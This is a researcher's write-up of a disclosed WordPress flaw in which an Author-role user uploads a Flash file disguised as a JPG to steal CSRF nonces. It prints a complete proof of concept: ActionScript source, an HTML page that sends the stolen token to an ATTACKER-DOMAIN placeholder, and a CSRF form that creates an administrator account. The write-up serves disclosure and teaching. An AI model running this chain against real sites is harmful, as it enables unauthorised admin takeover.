In 2016 I was working on WordPress security and I found interesting finding today I am going to share it with you, so have a nice read.

Introduction

Before I start talking about the finding I want to talk about WordPress. For people who do not know WordPress, simply it is an open source CMS based on PHP with millions of users around the world with more than 46 Million Downloads. For more statistics you can visit this article. I start doing some research about WordPress security and since it is an open source auditing code and functions would be an advantage for me source code is available here. As a side note many hackers trying to break WordPress because if anyone find something he can affect millions of users which is a bad thing, so we should keep it secure as possible. Now there is a company that pay $50K for any RCE in WordPress! more details are here.

Technical Details

I started black-box pentesting against WordPress to save time and know how things work. There were a lot of files to audit so I left it to the time that I need to see a specific function. First thing you need to know is the users-roles:

  • Super Admin – somebody with access to the site network administration features and all other features.
  • Administrator – somebody who has access to all the administration features within a single site.
  • Editor – somebody who can publish and manage posts including the posts of other users.
  • Author – somebody who can publish and manage their own posts.
  • Contributor – somebody who can write and manage their own posts but cannot publish them.
  • Subscriber – somebody who can only manage their profile.

I checked the Capability_vs._Role_Table to get familiar with WordPress roles. So I started with the Subscriber but there was no good function that I can use to do something. Same thing for Contributor role. When I was in author role I tried to upload dangerous files (swf, svg,html,…etc) but I wasn’t able to do that :(.

The most interesting thing was the upload functionality I looked for the files that are responsible for that function. I started looking for the codes that do the upload thing. It took me a lot because there are a lot of files and I read the WP reference. Here are the top related functions:

  • getimagesize() a PHP built-in function.
  • wp_check_filetype_and_ext() a WordPress function.
  • wp_check_filetype() a WordPress function.

The first thing I noticed that they are taking the MIME type from the HTTP request and the extension from the filename. Basically they rely on getimagesize() and many PHP developers don not know the following :

The getimagesize() function will determine the size of any GIF, JPG, PNG, SWF, SWC, PSD, TIFF, BMP, IFF, JP2, JPX, JB2, JPC, XBM, or WBMP image file and return the dimensions along with the file type and a height/width text string to be used inside a normal HTML tag.

If you did not notice the SWF file is supported as an image file! so we are able to upload a SWF file and getimagesize() will return an array of the SWF file properties. It is like a TRUE for a security check!

I created a simple flash file with magic number CWS after that I changed the flash file extension to .JPG . Then I went to http://127.0.0.1/wordpress/wp-admin/media-new.php and uploaded it. And yeah it got uploaded!

Object tag and Content Type

Since I am controlling the first bytes I can trick flash plugin to run my JPG image as flash file, how?

The object tag has an attribute called TYPE that can enforce the response to load as specific Content-Type. In our case we need to return the Content-Type header as application/x-shockwave-flash this can be easily done using this:

<object data="Ourfile.ext" type="application/x-shockwave-flash">

Let’s summarize all the above:

  • We can upload a flash file on a WordPress from a low-level role.
  • The flash file is hosted on same domain so SOP will not prevent this attack.
  • We can access page content using this method which lead to read CSRF tokens in forms from a cross domain.
  • WordPress uploaded files are directly accessible http://127.0.0.1/wp-content/upload/{year}/{month}/{filename}.{ext}.

What we need now?

  • A flash file that read data from the same origin and send it to a cross origin.
  • A HTML file that trigger the flash file and receive the data that flash file will send .
  • A file to create CSRF request to add new admin(optional, simce this can be done with the same file above).

First, let’s write the flash file and here what I wrote using ActionScript:

wp_poc.as

package {
import flash.external.ExternalInterface;
import flash.display.Sprite;
import flash.events.Event;
import flash.net.URLLoader;
import flash.net.URLRequest;
import flash.xml.*;
import flash.events.*;
import flash.net.*;

    /**
     * @author Abdullah Hussam
     */ 

    public class wp_poc extends Sprite{
 
        private var myloader:URLLoader;
        public function wp_poc() {
            myloader = new URLLoader();
            configureListeners(myloader);
            var target:String = root.loaderInfo.parameters.input;
            var request:URLRequest = new URLRequest(target);
            try {
                myloader.load(request);
            } catch (error:Error) {
                steal("Something went wrong!");
            }
        }

        private function configureListeners(dispatcher:IEventDispatcher):void {
            dispatcher.addEventListener(Event.COMPLETE, completeHandler);
   
        }
        private function completeHandler(event:Event):void {
            var myloader:URLLoader = URLLoader(event.target);
            steal(myloader.data);
        }
        private function steal(data:String):void{
            ExternalInterface.call("stealtoken", data);
        }
    }
    
    
}

I used ExternalInterface.call function to call the JS function that I will include in my HTML file. This file send a request to a certain page on same origin and retrieve its data.

I complied my AS file using Flex sdk

C:\Users\Abdullah>C:\Users\Abdullah\Downloads\Compressed\bin\mxmlc.exe C:\Users\Abdullah\Downloads\Compressed\bin\wp_poc.as
Loading configuration file C:\Users\Abdullah\Downloads\Compressed\frameworks\flex-config.xml
C:\Users\Abdullah\Downloads\Compressed\bin\wp_poc.swf (1075 bytes)

Then I changed .swf to .jpg (wp_poc.jpg) and uploaded it using Author role. After that I created the HTML file that will trigger the attack.

steal.html

<html>
<head>
<title>WP PoC!</title>
<script>
function stealtoken(data) { 
var str = data; 
var n = str.lastIndexOf('wpnonce_create-user'); 
var result = str.substring(n + 28,n+28+10); 
alert('Your token is ' + result);
// Change the host here 
document.location="http://ATTACKER-DOMAIN/wordpress_csrf.php?token="+result; //change this link to attacker domain
}
</script>

<object id="myObject" width="100" height="100" allowscriptaccess="always" type="application/x-shockwave-flash" data="http://127.0.0.1/wordpress/wp-content/uploads/2017/10/wp_poc.jpg?input=http://127.0.0.1/wordpress/wp-admin/user-new.php"><param name="AllowScriptAccess" value="always"></object>

The input parameter is the page that the flash file will leak its content.

The last page which made the HTTP request is wordpress_csrf.php :

<form method="POST" name="csrf" action="http://127.0.0.1/wordpress/wp-admin/user-new.php"> 
      <input type="hidden" name="action" value="createuser" />
      <input type="hidden" name="&#95;wpnonce&#95;create&#45;user" value="<?php echo $_GET['token']; ?>" />
      <input type="hidden" name="&#95;wp&#95;http&#95;referer" value="&#47;wordpress&#47;wp&#45;admin&#47;user&#45;new&#46;php" />
      <input type="hidden" name="user&#95;login" value="Pwned" />
      <input type="hidden" name="email" value="admin&#64;admin&#46;com" />
      <input type="hidden" name="first&#95;name" value="evil" />
      <input type="hidden" name="last&#95;name" value="hacker" />
      <input type="hidden" name="url" value="" />
      <input type="hidden" name="pass1" value="0mkNYGQBd&#33;C&amp;lVTj5kvB6kKj" />
      <input type="hidden" name="pass2" value="0mkNYGQBd&#33;C&amp;lVTj5kvB6kKj" />
      <input type="hidden" name="send&#95;user&#95;notification" value="1" />
      <input type="hidden" name="role" value="administrator" />
      <input type="hidden" name="createuser" value="Add&#32;New&#32;User" />
    </form>
	
<script>document.forms["csrf"].submit();</script>


You can see the attack in action here :



Here is the exploit flow:

wp


Remediation

It took more than 4 months after reporting this bug to WP team through HackerOne. They said it is a hard to fix it so they will take a long time to do that. However this bug was affect WP core and all WP versions were vulnerable. For more details click here. WordPress team rewarded me with $1337 and assigned a CVE for the finding.

The best thing to do is using CDN for your content.

Conclusion

There are a lot of thigns that we can consider in this write-up like getimagesize() usage for example or take in your mind that even a jpg file is a security risk on your website. This method has been published many times, but developers still do the same mistakes.

Thank you for reading I hope you learned something new.

If you like the write-up you can re-tweet it :).